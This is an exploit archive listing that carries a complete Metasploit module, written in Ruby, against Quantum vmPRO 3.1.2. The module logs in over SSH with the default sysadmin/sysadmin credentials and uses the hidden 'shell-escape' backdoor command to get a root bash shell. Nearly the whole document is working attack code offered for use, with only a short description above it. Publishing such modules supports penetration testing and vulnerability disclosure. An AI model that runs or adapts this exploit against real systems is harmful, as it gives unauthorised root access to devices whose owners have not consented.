Exploit the possiblities

Quantum vmPRO Backdoor Command

Quantum vmPRO Backdoor Command
Posted Mar 19, 2014
Authored by xistence | Site metasploit.com

This Metasploit module abuses a backdoor command in vmPRO 3.1.2. Any user, even without admin privileges, can get access to the restricted SSH shell. By using the hidden backdoor "shell-escape" command it's possible to drop to a real root bash shell.

tags | exploit, shell, root, bash
MD5 | 07b55130b9d63fa1f4c280bb1f90fde6

Quantum vmPRO Backdoor Command

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Auxiliary::CommandShell

def initialize(info={})
super(update_info(info,
'Name' => "Quantum vmPRO Backdoor Command",
'Description' => %q{
This module abuses a backdoor command in vmPRO 3.1.2. Any user, even without admin
privileges, can get access to the restricted SSH shell. By using the hidden backdoor
"shell-escape" command it's possible to drop to a real root bash shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Original discovery and Metasploit module
],
'References' =>
[
['URL', 'http://packetstormsecurity.com/files/125760/quantumvmpro-backdoor.txt']
],
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Quantum vmPRO 3.1.2', {}],
],
'Privileged' => true,
'DisclosureDate' => "Mar 17 2014",
'DefaultTarget' => 0))

register_options(
[
Opt::RHOST(),
Opt::RPORT(22),
OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']),
OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin'])
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end


def rhost
datastore['RHOST']
end


def rport
datastore['RPORT']
end


def do_login(user, pass)
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:disable_agent => true,
:config => true,
:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}

opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return nil
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end

if ssh
conn = Net::SSH::CommandStream.new(ssh, 'shell-escape', true)
return conn
end

return nil
end


def exploit
user = datastore['USER']
pass = datastore['PASS']

print_status("#{rhost}:#{rport} - Attempt to login...")
conn = do_login(user, pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
handler(conn.lsock)
end
end
end

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